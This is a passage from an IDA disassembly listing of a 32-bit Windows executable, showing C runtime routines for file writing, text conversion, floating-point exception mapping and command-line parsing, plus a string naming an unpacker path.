; ---------------------------------------------------------------------------


loc_423043:				; CODE XREF: sub_422FA3+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_4230EE
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42305C
		and	[ebp+var_8], edx
		jmp	loc_4230EE
; ---------------------------------------------------------------------------


loc_42305C:				; CODE XREF: sub_422FA3+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD060h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_4230E8
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4230AF
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_42309A:				; CODE XREF: sub_422FA3+104j
		cmp	eax, ecx
		jnb	short loc_4230A9
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4230A6
		inc	[ebp+arg_0]


loc_4230A6:				; CODE XREF: sub_422FA3+FEj
		inc	eax
		jmp	short loc_42309A
; ---------------------------------------------------------------------------


loc_4230A9:				; CODE XREF: sub_422FA3+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_4230E3
; ---------------------------------------------------------------------------


loc_4230AF:				; CODE XREF: sub_422FA3+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_422F09
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4230D6
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4230D6
		test	ch, 4
		jz	short loc_4230D9


loc_4230D6:				; CODE XREF: sub_422FA3+124j
					; sub_422FA3+12Cj
		mov	eax, [edi+18h]


loc_4230D9:				; CODE XREF: sub_422FA3+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_4230E3:				; CODE XREF: sub_422FA3+10Aj
		jz	short loc_4230E8
		inc	[ebp+arg_0]


loc_4230E8:				; CODE XREF: sub_422FA3+D9j
					; sub_422FA3:loc_4230E3j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_4230EE:				; CODE XREF: sub_422FA3+A4j
					; sub_422FA3+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_4230F6:				; CODE XREF: sub_422FA3+3Cj
					; sub_422FA3+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4230FB	proc near		; CODE XREF: sub_41DB54+A2p
					; sub_41E42B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DD160
		push	esi
		push	edi
		jnb	loc_42328F
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD060h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_42328F
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42314C


loc_423145:				; CODE XREF: sub_4230FB+177j
		xor	eax, eax
		jmp	loc_4232A3
; ---------------------------------------------------------------------------


loc_42314C:				; CODE XREF: sub_4230FB+48j
		test	al, 20h
		jz	short loc_42315C
		push	2
		push	edi
		push	ecx
		call	sub_422F09
		add	esp, 0Ch


loc_42315C:				; CODE XREF: sub_4230FB+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_42322B
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_423263


loc_42317C:				; CODE XREF: sub_4230FB+F5j
		lea	eax, [ebp+var_414]


loc_423182:				; CODE XREF: sub_4230FB+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4231B6
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4231A1
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4231A1:				; CODE XREF: sub_4230FB+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_423182


loc_4231B6:				; CODE XREF: sub_4230FB+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2740000h
		test	eax, eax
		jz	short loc_423220
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_4231F2
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42317C


loc_4231F2:				; CODE XREF: sub_4230FB+EAj
					; sub_4230FB+12Ej
		xor	edi, edi


loc_4231F4:				; CODE XREF: sub_4230FB+150j
					; sub_4230FB+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_42328A
		cmp	[ebp+arg_0], edi
		jz	short loc_423263
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_423258
		mov	dword_4DBDEC, 9
		mov	dword_4DBDF0, eax
		jmp	loc_4232A0
; ---------------------------------------------------------------------------


loc_423220:				; CODE XREF: sub_4230FB+E0j
		nop
		call	near ptr 26A0CACh
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F2
; ---------------------------------------------------------------------------


loc_42322B:				; CODE XREF: sub_4230FB+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 2740000h
		test	eax, eax
		jz	short loc_42324D
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------


loc_42324D:				; CODE XREF: sub_4230FB+145j
		nop
		call	near ptr 26A0CACh
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------


loc_423258:				; CODE XREF: sub_4230FB+10Fj
		push	[ebp+arg_0]
		call	sub_420C7F
		pop	ecx
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------


loc_423263:				; CODE XREF: sub_4230FB+7Bj
					; sub_4230FB+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_423278
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_423145


loc_423278:				; CODE XREF: sub_4230FB+16Fj
		mov	dword_4DBDEC, 1Ch
		mov	dword_4DBDF0, edi
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------


loc_42328A:				; CODE XREF: sub_4230FB+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_4232A3
; ---------------------------------------------------------------------------


loc_42328F:				; CODE XREF: sub_4230FB+15j
					; sub_4230FB+37j
		and	dword_4DBDF0, 0
		mov	dword_4DBDEC, 9


loc_4232A0:				; CODE XREF: sub_4230FB+120j
					; sub_4230FB+166j ...
		or	eax, 0FFFFFFFFh


loc_4232A3:				; CODE XREF: sub_4230FB+4Cj
					; sub_4230FB+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4230FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4232A8	proc near		; CODE XREF: sub_41DE4A+47p
					; sub_41DE4A+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DBE88, edi
		jnz	short loc_42331E
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_4232FC
		mov	dword_4DBE88, ebx
		jmp	short loc_42331E
; ---------------------------------------------------------------------------


loc_4232FC:				; CODE XREF: sub_4232A8+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset word_4CB89C
		push	esi
		push	edi
		nop
		call	near ptr 2660000h
		test	eax, eax
		jz	loc_423436
		mov	dword_4DBE88, 2


loc_42331E:				; CODE XREF: sub_4232A8+2Ej
					; sub_4232A8+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_423333
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4234CC
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_423333:				; CODE XREF: sub_4232A8+79j
		mov	eax, dword_4DBE88
		cmp	eax, 2
		jnz	short loc_42335A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2660000h
		nop
		jmp	loc_423438
; ---------------------------------------------------------------------------


loc_42335A:				; CODE XREF: sub_4232A8+93j
		cmp	eax, 1
		jnz	loc_423436
		cmp	[ebp+arg_18], edi
		jnz	short loc_423370
		mov	eax, dword_4DBEA4
		mov	[ebp+arg_18], eax


loc_423370:				; CODE XREF: sub_4232A8+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		call	near ptr 2720000h
		nop
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_423436
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4233CB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_4233CB:				; CODE XREF: sub_4232A8+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_423436
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_423436
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_423436
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_42344A
		cmp	[ebp+arg_14], edi
		jz	loc_4234C5
		cmp	esi, [ebp+arg_14]
		jg	short loc_423436
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jnz	loc_4234C5


loc_423436:				; CODE XREF: sub_4232A8+66j
					; sub_4232A8+B5j ...
		xor	eax, eax


loc_423438:				; CODE XREF: sub_4232A8+ADj
					; sub_4232A8+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42344A:				; CODE XREF: sub_4232A8+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42347E
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_42347E:				; CODE XREF: sub_4232A8+1C2j
		cmp	ebx, edi
		jz	short loc_423436
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_423436
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_4234A5
		push	edi
		push	edi
		jmp	short loc_4234AB
; ---------------------------------------------------------------------------


loc_4234A5:				; CODE XREF: sub_4232A8+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_4234AB:				; CODE XREF: sub_4232A8+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2890000h
		mov	esi, eax
		cmp	esi, edi
		jz	loc_423436


loc_4234C5:				; CODE XREF: sub_4232A8+165j
					; sub_4232A8+188j
		mov	eax, esi
		jmp	loc_423438
sub_4232A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4234CC	proc near		; CODE XREF: sub_4232A8+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_4234E9


loc_4234DC:				; CODE XREF: sub_4234CC+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_4234E9
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_4234DC


loc_4234E9:				; CODE XREF: sub_4234CC+Ej
					; sub_4234CC+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4234F4
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4234F4:				; CODE XREF: sub_4234CC+21j
		mov	eax, edx
		retn
sub_4234CC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_423638
		test	eax, eax
		pop	ecx
		jz	loc_42362C
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_42362C
		cmp	ebx, 5
		jnz	short loc_423528
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_423635
; ---------------------------------------------------------------------------


loc_423528:				; CODE XREF: ___:0042351Aj
		cmp	ebx, 1
		jz	loc_423627
		mov	ecx, dword_4DBEAC
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DBEAC, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_423617
		mov	ecx, dword_43D4D0
		mov	edx, dword_43D4D4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_423577
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43D460h[esi*4]


loc_42356E:				; CODE XREF: ___:00423575j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_42356E


loc_423577:				; CODE XREF: ___:00423560j
		mov	eax, [eax]
		mov	esi, dword_43D4DC
		cmp	eax, 0C000008Eh
		jnz	short loc_423592
		mov	dword_43D4DC, 83h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_423592:				; CODE XREF: ___:00423584j
		cmp	eax, 0C0000090h
		jnz	short loc_4235A5
		mov	dword_43D4DC, 81h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235A5:				; CODE XREF: ___:00423597j
		cmp	eax, 0C0000091h
		jnz	short loc_4235B8
		mov	dword_43D4DC, 84h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235B8:				; CODE XREF: ___:004235AAj
		cmp	eax, 0C0000093h
		jnz	short loc_4235CB
		mov	dword_43D4DC, 85h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235CB:				; CODE XREF: ___:004235BDj
		cmp	eax, 0C000008Dh
		jnz	short loc_4235DE
		mov	dword_43D4DC, 82h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235DE:				; CODE XREF: ___:004235D0j
		cmp	eax, 0C000008Fh
		jnz	short loc_4235F1
		mov	dword_43D4DC, 86h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235F1:				; CODE XREF: ___:004235E3j
		cmp	eax, 0C0000092h
		jnz	short loc_423602
		mov	dword_43D4DC, 8Ah


loc_423602:				; CODE XREF: ___:00423590j
					; ___:004235A3j ...
		push	dword_43D4DC
		push	8
		call	ebx
		pop	ecx
		mov	dword_43D4DC, esi
		pop	ecx
		pop	esi
		jmp	short loc_42361F
; ---------------------------------------------------------------------------


loc_423617:				; CODE XREF: ___:00423549j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_42361F:				; CODE XREF: ___:00423615j
		mov	eax, [ebp+8]
		mov	dword_4DBEAC, eax


loc_423627:				; CODE XREF: ___:0042352Bj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423635
; ---------------------------------------------------------------------------


loc_42362C:				; CODE XREF: ___:00423506j
					; ___:00423511j
		push	dword ptr [ebp+0Ch]
		call	near ptr 2640000h
		nop


loc_423635:				; CODE XREF: ___:00423523j
					; ___:0042362Aj
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_423638	proc near		; CODE XREF: ___:004234FEp

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D4D8
		cmp	dword_43D458, edx
		push	esi
		mov	eax, offset dword_43D458
		jz	short loc_423665
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D458h[esi*4]


loc_42365A:				; CODE XREF: sub_423638+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_423665
		cmp	[eax], edx
		jnz	short loc_42365A


loc_423665:				; CODE XREF: sub_423638+16j
					; sub_423638+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D458h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_423678
		cmp	[eax], edx
		jz	short locret_42367A


loc_423678:				; CODE XREF: sub_423638+3Aj
		xor	eax, eax

locret_42367A:				; CODE XREF: sub_423638+3Ej
		retn
sub_423638	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DD3B4, 0
		jnz	short loc_423689
		call	sub_420B0D


loc_423689:				; CODE XREF: ___:00423682j
		push	esi
		mov	esi, dword_4DD3AC
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_4236BB


loc_423696:				; CODE XREF: ___:004236AEj
					; ___:004236B1j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_4236B3
		test	al, al
		jz	short loc_4236B3
		movzx	eax, al
		push	eax
		call	sub_424FE7
		test	eax, eax
		pop	ecx
		jz	short loc_423696
		inc	esi
		jmp	short loc_423696
; ---------------------------------------------------------------------------


loc_4236B3:				; CODE XREF: ___:0042369Cj
					; ___:004236A0j
		cmp	byte ptr [esi],	22h
		jnz	short loc_4236C5


loc_4236B8:				; CODE XREF: ___:004236CDj
		inc	esi
		jmp	short loc_4236C5
; ---------------------------------------------------------------------------


loc_4236BB:				; CODE XREF: ___:00423694j
		cmp	al, 20h
		jbe	short loc_4236C5


loc_4236BF:				; CODE XREF: ___:004236C3j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_4236BF


loc_4236C5:				; CODE XREF: ___:004236B6j
					; ___:004236B9j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_4236CF
		cmp	al, 20h
		jbe	short loc_4236B8


loc_4236CF:				; CODE XREF: ___:004236C9j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD3B4, ebx
		push	esi
		push	edi
		jnz	short loc_4236E5
		call	sub_420B0D


loc_4236E5:				; CODE XREF: ___:004236DEj
		mov	esi, dword_4DBE44
		xor	edi, edi


loc_4236ED:				; CODE XREF: ___:00423703j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_423705
		cmp	al, 3Dh
		jz	short loc_4236F8
		inc	edi


loc_4236F8:				; CODE XREF: ___:004236F5j
		push	esi
		call	sub_41B9C0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_4236ED
; ---------------------------------------------------------------------------


loc_423705:				; CODE XREF: ___:004236F1j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DBE14, esi
		jnz	short loc_423727
		push	9
		call	sub_41E2C9
		pop	ecx


loc_423727:				; CODE XREF: ___:0042371Dj
		mov	edi, dword_4DBE44
		cmp	[edi], bl
		jz	short loc_42376A
		push	ebp


loc_423732:				; CODE XREF: ___:00423767j
		push	edi
		call	sub_41B9C0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_423763
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_423756
		push	9
		call	sub_41E2C9
		pop	ecx


loc_423756:				; CODE XREF: ___:0042374Cj
		push	edi
		push	dword ptr [esi]
		call	sub_41C890
		pop	ecx
		add	esi, 4
		pop	ecx


loc_423763:				; CODE XREF: ___:0042373Fj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_423732
		pop	ebp


loc_42376A:				; CODE XREF: ___:0042372Fj
		push	dword_4DBE44
		call	sub_41BA91
		pop	ecx
		mov	dword_4DBE44, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DD3B0, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD3B4, ebx
		push	esi
		push	edi
		jnz	short loc_4237A3
		call	sub_420B0D


loc_4237A3:				; CODE XREF: ___:0042379Cj
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2690000h
		mov	eax, dword_4DD3AC
		mov	off_4DBE24, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_4237C8
		mov	edi, eax


loc_4237C8:				; CODE XREF: ___:004237C4j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_423825
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_4237F8
		push	8
		call	sub_41E2C9
		pop	ecx


loc_4237F8:				; CODE XREF: ___:004237EEj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_423825
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DBE0C, esi
		pop	edi
		pop	esi
		mov	dword_4DBE08, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423825	proc near		; CODE XREF: ___:004237D3p
					; ___:00423809p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_42384F
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42384F:				; CODE XREF: sub_423825+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423898


loc_423854:				; CODE XREF: sub_423825+58j
					; sub_423825+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_423886
		test	dl, dl
		jz	short loc_423886
		movzx	edx, dl
		test	byte_4DD281[edx], 4
		jz	short loc_423879
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423879
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423879:				; CODE XREF: sub_423825+46j
					; sub_423825+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423854
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_423854
; ---------------------------------------------------------------------------


loc_423886:				; CODE XREF: sub_423825+36j
					; sub_423825+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423890
		and	byte ptr [esi],	0
		inc	esi


loc_423890:				; CODE XREF: sub_423825+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4238DB
		inc	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------


loc_423898:				; CODE XREF: sub_423825+2Dj
					; sub_423825+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238A3
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_4238A3:				; CODE XREF: sub_423825+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DD281[ebx], 4
		jz	short loc_4238BE
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238BD
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4238BD:				; CODE XREF: sub_423825+91j
		inc	eax


loc_4238BE:				; CODE XREF: sub_423825+8Bj
		cmp	dl, 20h
		jz	short loc_4238CC
		test	dl, dl
		jz	short loc_4238D0
		cmp	dl, 9
		jnz	short loc_423898


loc_4238CC:				; CODE XREF: sub_423825+9Cj
		test	dl, dl
		jnz	short loc_4238D3


loc_4238D0:				; CODE XREF: sub_423825+A0j
		dec	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------


loc_4238D3:				; CODE XREF: sub_423825+A9j
		test	esi, esi
		jz	short loc_4238DB
		and	byte ptr [esi-1], 0


loc_4238DB:				; CODE XREF: sub_423825+6Ej
					; sub_423825+71j ...
		and	[ebp+arg_10], 0


loc_4238DF:				; CODE XREF: sub_423825+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4239C8


loc_4238E8:				; CODE XREF: sub_423825+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4238F4
		cmp	dl, 9
		jnz	short loc_4238F7


loc_4238F4:				; CODE XREF: sub_423825+C8j
		inc	eax
		jmp	short loc_4238E8
; ---------------------------------------------------------------------------


loc_4238F7:				; CODE XREF: sub_423825+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4239C8
		test	edi, edi
		jz	short loc_42390C
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42390C:				; CODE XREF: sub_423825+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423911:				; CODE XREF: sub_423825+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_42391A:				; CODE XREF: sub_423825+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_423923
		inc	eax
		inc	ebx
		jmp	short loc_42391A
; ---------------------------------------------------------------------------


loc_423923:				; CODE XREF: sub_423825+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423954
		test	bl, 1
		jnz	short loc_423952
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423941
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423941
		mov	eax, edx
		jmp	short loc_423944
; ---------------------------------------------------------------------------


loc_423941:				; CODE XREF: sub_423825+10Dj
					; sub_423825+116j
		mov	[ebp+arg_0], edi


loc_423944:				; CODE XREF: sub_423825+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423952:				; CODE XREF: sub_423825+106j
		shr	ebx, 1


loc_423954:				; CODE XREF: sub_423825+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423969
		inc	ebx


loc_42395C:				; CODE XREF: sub_423825+142j
